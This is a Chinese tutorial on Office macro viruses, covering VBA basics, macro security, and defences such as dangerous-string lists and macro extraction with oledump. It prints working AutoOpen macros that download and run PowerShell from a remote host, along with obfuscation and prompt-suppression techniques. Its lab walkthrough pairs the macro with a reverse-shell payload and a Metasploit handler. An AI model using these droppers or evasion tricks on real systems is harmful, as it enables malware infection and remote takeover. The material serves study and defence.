宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
不过现在大多数宏病毒并没有感染模块,更多的是作为木马感染的第一环操作。一旦用户打开含有宏病毒的文档,其中的宏病毒就会被执行,释放并激活恶意软件。


1 宏病毒基础

1.1 宏

宏(Macro),是一种批量处理的称谓。就是把一些命令组织在一起,作为一个单独的命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。Excel办公软件自动集成“VBA”高级程序语言,用此语言编制出的程序就叫“宏”。使用“VBA”需要有一定的编程基础,并且还会耗费大量的时间,因此,绝大多数的使用者仅使用了Excel的一般录制功能,很少真正的使用到“VBA”。
所以,宏可以看做命令的集合。而宏病毒,则是用宏编写的病毒。


1.2 VBA

VBA(Visual Basic for Applications)是Visual Basic的一种宏语言,是在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。它也可说是一种应用程式视觉化的 Basic 脚本。VB与VBA区别如下:

  • VB是设计用于创建标准的应用程序,而VBA是使已有的应用程序(EXCEL等)自动化。
  • VB具有自己的开发环境,而VBA必须寄生于已有的应用程序。
  • 要运行VB开发的应用程序,用户不必安装VB,因为VB开发出的应用程序是可执行文件(*.EXE),而VBA开发的程序必须依赖于它的父应用程序,例如EXCEL。
  • VBA是VB的一个子集。
  • VBA一个关键特征是你所学的知识在微软的一些产品中可以相互转化。
  • VBA可以称作EXCEL的“遥控器”。

在OFFICE中,使用ALT+F11即可打开VBA编辑器。一个简单的宏如下:

  1. Sub autoopen()
  2. MsgBox "Hello World!" '单引号为注释符,autoopen()为预定义的子程序,一旦打开文件自动执行子程序内容
  3. End Sub

TIM截图20200508111726.png


1.3 宏安全机制

以doc文件为例,一般来说office都是默认禁用宏的,这一步可以通过文件-选项-信任中心看到。
TIM截图20200508112831.png
打开这样的文件,如果包含宏,会出现提示信息:
TIM截图20200508114019.png
需要注意的是,Office 2007和Word2003以及之前版本保存的文档格式是不同的。word2003文档格式为:doc,xls等。以word为例,Office 2007及以上版本格式新增为4种:
.docx——一种不包含宏的普通文档
.docm——一种包含宏或启用了宏的文档
.dotx——一种不包含宏的模板
.dotm——一种包含宏或启用了宏的模板
相对于Word 2003来说,Office 2007除了性能的提升外,更加注重安全性,将包含宏的文档与不包含宏的文档区分开,其图标也有所不同。所以一般宏病毒使用的文档都为2003版本,如doc,xls。


2 简单的宏病毒

2.1 下载执行

对于宏病毒来说,一般都具有文件下载功能,无论是下载恶意软件还是指令信息。以下VBA代码是实现恶意文件下载并执行的一种方式,这里的恶意程序为powershell脚本。关于下载部分使用Microsoft.XMLHTTP对象进行下载,使用Adodb.Stream对象进行文件读写。调用Shell执行powershell脚本。逻辑如下:

  1. Sub autoopen()
  2. Dim URL As String
  3. Dim file As String
  4. URL = "http://127.0.0.1/cat.txt"
  5. file = "virus.ps1"
  6. '使用Microsoft.XMLHTTP对象获取文件内容
  7. Dim xHttp As Object
  8. Set xHttp = CreateObject("Microsoft.XMLHTTP")
  9. xHttp.Open "GET", URL, False
  10. xHttp.send
  11. '保存内容到文件
  12. Set outStream = CreateObject("Adodb.Stream")
  13. outStream.Open
  14. outStream.Type = 1
  15. outStream.Write xHttp.responseBody
  16. outStream.SaveToFile file, 2 ' 1 = no overwrite, 2 = overwrite
  17. outStream.Close
  18. '还可以给文件设置只读、隐藏、系统属性
  19. 'SetAttr file, vbReadOnly + vbHidden + vbSystem
  20. '调用powershell执行脚本,注意cmd /c参数表示运行完毕后关闭窗口
  21. Shell ("cmd /c powershell.exe -ExecutionPolicy bypass -file virus.ps1")
  22. End Sub

当然也可以直接使用powershell进行下载并执行恶意脚本:

  1. Sub autoopen()
  2. Dim cmd As String
  3. cmd = "cmd /c powerShell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.31.156/cat.txt','%temp%/evil.ps1');powershell.exe -ExecutionPolicy bypass -file %temp%\evil.ps1"
  4. Shell cmd
  5. End Sub

以上两种文件下载方式恶意软件都需要落地,还可以使用powershell直接将恶意脚本写入内存执行,以防范AV检查:

  1. Sub autoopen()
  2. Dim cmd As String
  3. cmd = "cmd /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.31.156/cat.txt'))"
  4. Shell cmd
  5. End Sub

当然还有许多将文件下载到本地的方法,例如certutil等。
详情见链接: Windows文件下载执行的15种姿势


注: 一些powershell知识

指令 说明
-ExecutionPolicy bypass 设置执行策略: Bypass为没有任何限制和提示
-File ./evil.ps1 运行ps脚本文件
IEX 用来把字符串当作命令执行
-w Hidden 隐藏窗口
-nop PowerShell控制台不加载当前用户的配置文件
-c 运行命令

除了调用VBA的API如:Shell( )、CallWindowProc( )执行命令外。包括现在流行的powershell进行命令执行在内,还存在其它的调用外部例程方式,如下表所示:

对象 说明
MSXML2.ServerXMLHTTP Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求(Microsoft.XMLHTTP已经不提倡使用了)
Adodb.Stream Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
Wscript.shell WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
Application.Run 调用该函数,可以运行.exe文件
WMI 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程
Shell.Application 能够执行sehll命令

2.2 混淆绕过

在与杀软与反病毒工作者的对抗中,宏病毒一般采用混淆加密的方式隐藏代码,以此躲避杀软查杀并且增加反病毒工作者分析难度。一般有以下几种方式。

2.2.1 Chr() 函数

Chr(),返回以数值表达式值为编码的字符,也就是将字符的ASCII码解析为字符。使用Chr函数是最常见的字符串隐写技术,利用ascii码,逃避字符串扫描。
示例:Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112)
除了Chr()函数,还可以利用表达式和相关数学函数,增加技术人员的分析难度:
Ndjs = Sgn(Asc(317 – 433) + 105)
ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)
经过分析发现,上述代码的字符串是:“http://”。


2.2.2 Replace() 函数

Replace函数的作用就是替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。
该函数通常可以配合Chr()函数使用,将多余的字符去除掉,得到真正有意义的字符串。


2.2.3 CallByname() 函数

CallByname函数允许使用一个字符串在运行时指定一个属性或方法。CallByName 函数的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())
CallByName 的第一个参数包含要对其执行动作的对象名。第二个参数,ProcedureName,是一个字符串,包含将要调用的方法或属性过程名。CallType 参数包含一个常数,代表要调用的过程的类型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一个参数是可选的,它包含一个变量数组,数组中包含该过程的参数。
例如:CallByName Text1, “Move”, vbMethod, 100, 10就相当于执行Text1.Move(100,10)。这种隐藏的函数执行增加了分析的难度。
CallByName的作用不仅仅在此,在下面的这个例子中,利用callByName,可以用脚本控制控件:

  1. Dim obj As Object
  2. Set obj = Me
  3. Set obj = CallByName(obj, "Text1", VbGet)
  4. Set obj = CallByName(obj, "Font", VbGet)
  5. CallByName obj, "Size", VbLet, 50
  6. '以上代码="Me.Text1.Font.Size = 50"
  7. Dim obj As Object
  8. Dim V As String
  9. Set obj = Me
  10. Set obj = CallByName(obj, "Text1", VbGet)
  11. Set obj = CallByName(obj, "Font", VbGet)
  12. V = CallByName(obj, "Size", VbGet)
  13. '以上代码="V = Me.Text1.Font.Size"

2.2.4 Alias替换函数名

Alias子句是一个可选的部分,用户可以通过它所标识的别名对动态库中的函数进行引用。
Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean
如上例所示,clothed作为GetUpdateRect的别名,调用clothed函数相当于调用user32库里的GetUpdateRect函数。
事实上喜欢使用别名的不仅仅是宏病毒制造者,普通的宏程序员也喜欢使用别名。使用别名的好处是比较明显的,一方面Visual Basic不允许调用以下划线为前缀的函数,然而在Win32 API函数中有大量C开发的函数可能以下划线开始。使用别名可以绕过这个限制。另外使用别名有利于用户命名标准统一。对于一些大小写敏感的函数名,使用别名可以改变函数的大小写。


2.2.5 利用窗体、控件隐藏信息

控件在宏程序里很常见,有些宏病毒的制造者们便想到利用控件隐藏危险字符串。
225903g9g21itofhiqw9su.png.thumb.jpg
如图所示,空间里存放着关键字符串,程序用到上述字符串时,只需要调用标签控件的caption属性。控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。


2.2.6 利用文件属性

这种方式和利用窗体属性的方式类似,就是将一切能存储数据的地方利用起来。
如图所示读取的是ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据,将这里的数据Base64解密并执行。
225903ywrgj63it30gw4r2.png.thumb.jpg
225904c7z5x73luizof1ef.png.thumb.jpg


2.3 隐秘执行

宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏。
常用指令如下表:

指令 含义
On Error Resume Next 如果发生错误,不弹出错误对话框
Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态
Options.SaveNormalPrompt = False 修改公用模板时在后台自动保存,不给任何提示
EnableCancelKey = wdCancelDisabled 使不可以通过ESC键取消正在执行的宏
Application.ScreenUpdating = 0 不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = wdAlertsNone 不让Excel弹出报警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 屏蔽工具菜单中的“宏”按钮
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 屏蔽宏菜单的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 屏蔽宏菜单的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 屏蔽工具菜单的“自定义”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 屏蔽视图宏菜单的“工具栏”
CommandBars(“format”).Controls(“Object”).Enabled = 0 屏蔽格式菜单的“对象”

2.4 VBA加密

通常病毒制作者不想要其他人看到宏内容,往往会对工程进行加密,加密方式如下:
VBA工程-工具-Project属性-保护
TIM截图20200509143210.png
一般来说可以使用破解工具打开,如VBA_Password_Bypasser工具等
当然也可以手动进行破解: https://blog.csdn.net/wangtiankuo/article/details/89520358


2.5 防御手段

2.5.1 危险字符串

以下表格中字符串经常被宏病毒所使用

字符串 功能
http URL连接
CallByName 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数
Powershell 可以执行脚本,运行.exe文件,可以执行base64的命令
Winmgmts WinMgmt.exe是Windows管理服务,可以创建windows管理脚本
Wscript 可以执行脚本命令
Shell 可以执行脚本命令
Environment 宏病毒用于获取系统环境变量
Adodb.stream 用于处理二进制数据流或文本流
Savetofile 结合Adodb.stream用于文件修改后保存
MSXML2 能够启动网络服务
XMLHTTP 能够启动网络服务
Application.Run 可以运行.exe文件
Download 文件下载
Write 文件写入
Get http中get请求
Post http中post请求
Response http中认识response回复
Net 网络服务
WebClient 网络服务
Temp 常被宏病毒用于获取临时文件夹
Process 启动进程
Cmd 执行控制台命令
createObject 宏病毒常用于创建进行危险行为的对象
Comspec %ComSpec%一般指向你cmd.exe的路径

2.5.2 禁用宏

这个方法一度被认为能防住所有的宏病毒,但是总会有0day能够绕过宏防护,禁用宏对于利用漏洞绕过宏禁用功能的宏病毒,仍然无能为力。而且禁用宏功能还有两个很大的缺陷:一是它拒绝了一切的宏执行,并不区分正常的宏和还是病毒宏,这会造成某些文档无法打开或出错;二是宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。


2.5.3 越过自动宏

如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住Shift键,将禁止存在的一起自动宏。这和禁用宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。


2.5.4 宏提取

先启用宏,然后打开VBA编辑器分析宏代码,不仅可以直观的看到宏代码,还可以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式存在一定的风险。
所以可以在不执行宏的基础上将宏代码提取出来。我们可以使用oledump工具。
oledump.py(https://github.com/decalage2/oledump-contrib)。
oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。不过由于是python2编写的,如果不太方便,可以使用OfficeMalScanner工具。
下载地址: OfficeMalScanner
使用方法: OfficeMalScanner evil.doc info 即可将宏提取出。


3 宏病毒实践

本过程模拟用户点击带有宏病毒的word文档,下载powershell 反弹shell,连接远程服务器。

C&C 192.168.31.188 等待连接
Supplier 192.168.31.156 提供payload
Victim 192.168.31.14 受害者

3.1 制作带宏word文档

虽然有很多宏病毒生成工具,但在这里我们还是使用第二小节使用的代码。

  1. Sub autoopen()
  2. Dim cmd As String
  3. cmd = "cmd /c powershell.exe -ExecutionPolicy bypass -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.31.156/payload.txt'))"
  4. Shell cmd
  5. End Sub

TIM截图20200512001130.png


3.2 制作恶意payload

这里使用社会工程学工具集Social-Engineer Toolkit 生成powershell反向马
GitHub: SET
TIM截图20200512002033.png
TIM截图20200512002104.png
TIM截图20200512004813.png
在~/.set/reports/powershell目录下将payload移动到服务器www目录
TIM截图20200512004930.png
启用Apache:
TIM截图20200512004014.png


3.3 C&C监听

启用msf,输入以下命令:

  1. use exploit/multi/handler
  2. set PAYLOAD windows/meterpreter/reverse_https
  3. set LHOST 192.168.31.188
  4. set LPORT 8848
  5. run

TIM图片20200512114626.png


3.4 受害者打开word文档

TIM图片20200512114630.png


参考

链接: https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133
说明: 本文档中参考了很多该系列文章内容帮助很大,出于本人只是想对宏病毒有一个粗浅的了解,许多内容并未进行尝试,只是搬运该链接文章内容。

链接:https://www.freebuf.com/vuls/188398.html
说明: 关于第三章节宏病毒实践部分主要参考该文章